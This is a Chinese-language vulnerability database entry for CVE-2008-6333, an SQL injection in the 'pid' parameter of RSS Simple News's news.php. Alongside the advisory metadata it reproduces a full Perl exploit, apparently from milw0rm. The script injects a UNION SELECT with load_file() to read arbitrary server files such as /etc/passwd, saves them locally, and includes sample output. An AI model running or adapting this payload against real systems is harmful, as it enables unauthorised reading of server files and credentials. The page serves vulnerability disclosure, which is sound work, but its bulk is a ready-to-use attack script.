Matthew_General RSS Simple News 'news.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117112 漏洞类型 SQL注入
发布时间 2008-12-22 更新时间 2009-03-02
CVE编号 CVE-2008-6333 CNNVD-ID CNNVD-200902-650
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/7541
https://cxsecurity.com/issue/WLB-2009030079
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-650
|漏洞详情
RSSSimpleNews是一个PHP脚本,用来管理和编辑网站的。适用于任何使用PHP和MySQL的Web服务器。RSSSimpleNews(RSSSN)的news.php中存在SQL注入漏洞,当magic_quotes_gpc被中止时,远程攻击者可以借助pid参数,执行任意SQL指令。
|漏洞EXP
#!/usr/bin/perl
################################
##    Coded by Piker [piker(dot)ther00t(at)gmail(dot)com]
##      D.O.M Team
## piker,ka0x,an0de,xarnuz
## 2008 Security Researchers
################################
##
## RSS Simple News Remote SQL Injection Exploit
## http://sourceforge.net/projects/rss-simple-news/
##
##   This exploit tries to read an
##   arbitrary file.
##
##   It needs magic_quotes_gpc=off
##
################################

# piker@domlabs:~/advisories$ perl rss.pl http://localhost/rss /etc/passwd
#[+] File HEX: 0x2f6574632f706173737764
#[+] Host: http://localhost/rss/
#[+] File content:
#daemon:x:1:1:daemon:/usr/sbin:/bin/sh
#bin:x:2:2:bin:/bin:/bin/sh
#sys:x:3:3:sys:/dev:/bin/sh
#sync:x:4:65534:sync:/bin:/bin/sync
#games:x:5:60:games:/usr/games:/bin/sh
# [...]
#[+] EOF
#
#


use LWP::UserAgent;

open(FILE, ">&STDOUT");

my $host = $ARGV[0];
my $file = $ARGV[1];

die &_USO unless $ARGV[1];

sub _USO
{
    die "
    RSS Simple News Remote Sql Injection Exploit

    This exploit tries to read an
    arbitrary file.

    It needs magic_quotes_gpc=off

    usage: ./$0 <host> <file_you_want>
    ex: ./$0 http://localhost/rss/ /etc/passwd

    ";
}

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");

my $tmp="0x";
my $tmp2;

foreach my $c (split(//, $file)){
    $tmp2 = sprintf ("%x", ord($c));
    $tmp .= $tmp2;
}

print FILE "[+] File HEX: ".$tmp."\n";

if ($host !~ /\/$/){ $host .= "/"; }

print FILE "[+] Host: ".$host."\n";

my $req = HTTP::Request->new(GET => $host."news.php?pid=-1' union select 1,2,3,4,CONCAT(0x3c46494c453e,load_file(".$tmp."),0x3c46494c453e),6 and 'a'='a");
my $res = $ua->request($req);
my $con = $res->content;

my $ok = 0;
open (OUT, ">result.txt");

if ($res->is_success){
    foreach my $linea (split(/\n/, $con)){
        if($ok == 1){
            if ($linea !~ /<FILE>/){
                print FILE $linea."\n";
        print OUT $linea."\n";
            }else{
                print FILE "\n[+] EOF\n";
        print "\n[+] File saved into 'result.txt'\n";
                goto salida;
            }
        }
        if($linea =~ /<FILE>/i && $ok == 0){
            $ok = 1;
            print FILE "[+] File content: \n";
        }
    }
    salida:
    if ($ok == 0){
        print FILE "[-] Exploit Failed!\n";
    }      
}
else{
    print FILE "[-] Exploit Failed!\n";
}

close(FILE);
close(OUT);

#EOF

# milw0rm.com [2008-12-22]
|参考资料

来源:BID
名称:32962
链接:http://www.securityfocus.com/bid/32962
来源:MILW0RM
名称:7541
链接:http://www.milw0rm.com/exploits/7541